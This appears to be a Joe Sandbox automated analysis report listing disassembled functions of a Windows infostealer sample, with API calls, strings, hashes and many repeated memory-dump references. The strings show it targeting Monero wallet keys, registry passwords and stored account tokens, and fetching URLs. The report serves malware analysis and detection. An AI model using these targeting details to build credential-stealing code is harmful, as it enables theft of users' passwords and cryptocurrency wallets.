Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 3cc0772c19b43be24ebfe2f214a2de30054c172b202c81ce080e573aa4b5ebf5
Instruction ID: cba03ab19fcac04b0b0df0a42ebe03df45850d4e577082f3193df36d18aeb291
Opcode Fuzzy Hash: 3cc0772c19b43be24ebfe2f214a2de30054c172b202c81ce080e573aa4b5ebf5
Instruction Fuzzy Hash: CA5175B2D5011897CB15FB60DC9AFED77BCAF54300F4451E8B24A72081EE346B89CBA5

Function 00E37500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00E37542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E3757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37603
RtlAllocateHeap.NTDLL(00000000), ref: 00E3760A
wsprintfA.USER32 ref: 00E37640

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Strings

C, xrefs: 00E3754C
, xrefs: 00E3764D, 00E37655, 00E3761B, 00E37623
:, xrefs: 00E3755C
\, xrefs: 00E37560

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: c5d97c22a38989401972494ebe30a944645ac99cce6f7a42e110096182916bb3
Instruction ID: c1597eaff42d71f7d0f7d5276a94019f165531c459577eca2e126444deafea0e
Opcode Fuzzy Hash: c5d97c22a38989401972494ebe30a944645ac99cce6f7a42e110096182916bb3
Instruction Fuzzy Hash: 6B4192F1E04248EBDB20DF94DC49BDEBBB8AF48704F100199F54977280D7796A44CBA5

Function 00E275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E272D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00E2733A
Part of subcall function 00E272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E273B1
Part of subcall function 00E272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E2740D
Part of subcall function 00E272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00E27452
Part of subcall function 00E272D0: HeapFree.KERNEL32(00000000), ref: 00E27459

lstrcat.KERNEL32(35BAE020,00E417FC), ref: 00E27606
lstrcat.KERNEL32(35BAE020,00000000), ref: 00E27648
lstrcat.KERNEL32(35BAE020, : ), ref: 00E2765A
lstrcat.KERNEL32(35BAE020,00000000), ref: 00E2768F
lstrcat.KERNEL32(35BAE020,00E41804), ref: 00E276A0
lstrcat.KERNEL32(35BAE020,00000000), ref: 00E276D3
lstrcat.KERNEL32(35BAE020,00E41808), ref: 00E276ED
task.LIBCPMTD ref: 00E276FB

Strings

: , xrefs: 00E2764E

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 7e96a68bfdb1d009938b77c803abe47c1b0c970aa2ab01baa1fb731e8fc50f5b
Instruction ID: 3e14d21b22992c58781a98256db6c18f1a9a03909db4b9db257fb5f6d13b7c86
Opcode Fuzzy Hash: 7e96a68bfdb1d009938b77c803abe47c1b0c970aa2ab01baa1fb731e8fc50f5b
Instruction Fuzzy Hash: BD313E72A01109DFCB18FBA4ED99DFE77B4BB48301B206118F142B72A5DA39A946CB51

Function 00E38100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0180EED8,00000000,?,00E40E2C,00000000,?,00000000), ref: 00E38130
RtlAllocateHeap.NTDLL(00000000), ref: 00E38137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00E38158
__aulldiv.LIBCMT ref: 00E38172
__aulldiv.LIBCMT ref: 00E38180
wsprintfA.USER32 ref: 00E381AC

Strings

@, xrefs: 00E3814D
%d MB, xrefs: 00E381A3

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 83042ee46a4f407742f14478c4517ff824e3a9cad3a04dd6ad551acdd085153d
Instruction ID: e21e54162f19995b45a6ff125db45cc1c8f03e864afe0cdee8716e0c00036409
Opcode Fuzzy Hash: 83042ee46a4f407742f14478c4517ff824e3a9cad3a04dd6ad551acdd085153d
Instruction Fuzzy Hash: AF21F7B1E44318ABDB10DFD4DD49FAEBBB8EB44B10F104619F605BB280D7796901CBA5

Function 00E272D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00E2733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E2740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00E27452
HeapFree.KERNEL32(00000000), ref: 00E27459
task.LIBCPMTD ref: 00E27555

Strings

Password, xrefs: 00E27401

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: cc8d40b1d6d43edcddba5faaa64fe4510b8cb8d2ac8698409d49da40b86557e9
Instruction ID: c95b310eb21225770dc142d33a183c3f86b0a2479d6bc71a88b8e2732d8b8a3c
Opcode Fuzzy Hash: cc8d40b1d6d43edcddba5faaa64fe4510b8cb8d2ac8698409d49da40b86557e9
Instruction Fuzzy Hash: DB613AB590426C9BDB24DB50ED45FDAB7B8BF44304F0091E9E689B6141DBB06BC9CFA0

Function 00E2BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

lstrlen.KERNEL32(00000000), ref: 00E2BC9F

Part of subcall function 00E38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E38E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00E2BCCD
lstrlen.KERNEL32(00000000), ref: 00E2BDA5
lstrlen.KERNEL32(00000000), ref: 00E2BDB9

Strings

AccountId, xrefs: 00E2BCC4
AccountTokens, xrefs: 00E2BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00E2BBEB
AccountTokens, xrefs: 00E2BABA

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: be2cb9896a3f21df90526426622c68633c7d74c90a0d959f914acd45952a8a5f
Instruction ID: 93cbea0ba7ab0bc6045233488a53c514f27eaf3dc737599f456a5f2f9c831026
Opcode Fuzzy Hash: be2cb9896a3f21df90526426622c68633c7d74c90a0d959f914acd45952a8a5f
Instruction Fuzzy Hash: BCB13572910108ABDF18FBA0DD5AEEE77B8AF54300F445168F546B3091EF346E89CB62

Function 00E24FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E24FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00E24FD1
InternetOpenA.WININET(00E40DDF,00000000,00000000,00000000,00000000), ref: 00E24FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00E25011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00E25041
InternetCloseHandle.WININET(?), ref: 00E250B9
InternetCloseHandle.WININET(?), ref: 00E250C6

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: f5200147c6fa73ed477d79b62370a210c3d96d913d9cb47ca7536e2a1a91ddb3
Instruction ID: c57938368a75ee6beb5362bd456bd276a41ee225049d0c733dc6a2c630930194
Opcode Fuzzy Hash: f5200147c6fa73ed477d79b62370a210c3d96d913d9cb47ca7536e2a1a91ddb3
Instruction Fuzzy Hash: D23104B5A00218EBDB20DF54DD85BDCB7B4FB48704F1081E9EA0AB7281C7746AC58F98

Function 00E383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E38426
wsprintfA.USER32 ref: 00E38459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00E3847B
RegCloseKey.ADVAPI32(00000000), ref: 00E3848C
RegCloseKey.ADVAPI32(00000000), ref: 00E38499

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

RegQueryValueExA.KERNEL32(00000000,0180EF50,00000000,000F003F,?,00000400), ref: 00E384EC
lstrlen.KERNEL32(?), ref: 00E38501
RegQueryValueExA.KERNEL32(00000000,0180F148,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00E40B34), ref: 00E38599
RegCloseKey.KERNEL32(00000000), ref: 00E38608
RegCloseKey.ADVAPI32(00000000), ref: 00E3861A

Strings

%s\%s, xrefs: 00E3844D

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
